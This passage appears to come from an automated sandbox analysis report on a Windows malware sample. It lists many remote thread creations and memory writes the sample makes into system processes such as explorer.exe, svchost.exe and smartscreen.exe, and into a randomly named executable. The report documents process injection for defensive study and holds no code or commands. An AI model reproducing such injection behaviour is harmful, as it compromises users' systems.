      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 1160000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: AA0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: AB0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 6F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 700000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: AB0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: AC0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 420000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 430000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 14F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 1500000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 170000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 180000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 1170000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 1180000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: A20000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: A30000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 760000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 770000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: A90000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: AA0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 990000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 9A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: FA0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: FB0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: D30000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: D40000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: ED0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: EE0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: F00000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: F10000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 9F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: A00000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 11B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 11C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: DA0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: DB0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 730000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 740000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: F80000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: F90000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 7E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 7F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: BB0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: BC0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: F60000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: F70000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: F40000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: F50000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 9A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 9B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: A20000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: A70000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 780000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 790000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 890000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 8A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: E60000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: E70000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 3B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 3C0000Jump to behavior
      Writes to foreign memory regions
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 900000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: FF0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dwm.exe base: 2D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\sihost.exe base: CF0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 850000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 420000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\ctfmon.exe base: 570000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\explorer.exe base: 3860000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: FA0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 120000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 8A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 400000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\smartscreen.exe base: 670000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 3B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 7D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: B60000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 2F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 540000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 750000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 760000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 500000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 510000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: CD0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: CE0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 3A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 3B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F80000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F90000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 7B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 7C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: B90000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: BA0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 970000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 980000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 370000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 380000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: EE0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: EF0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F60000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F70000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: D00000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: D10000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 700000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 710000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: BD0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: BE0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: E20000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: E30000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 770000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 7C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1170000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1180000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: B60000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: B70000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F50000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F60000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F80000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F90000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1020000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1030000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: EC0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: ED0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 620000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1400000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1450000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: A10000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: A20000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F30000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F40000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1020000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1030000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1060000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1070000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: EE0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: EF0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 14F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1500000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 9A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 9B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F80000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F90000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 8F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 900000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: BB0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: BC0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1020000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1030000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: EC0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: ED0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: FA0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: FB0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 7B0000Jump to behavior
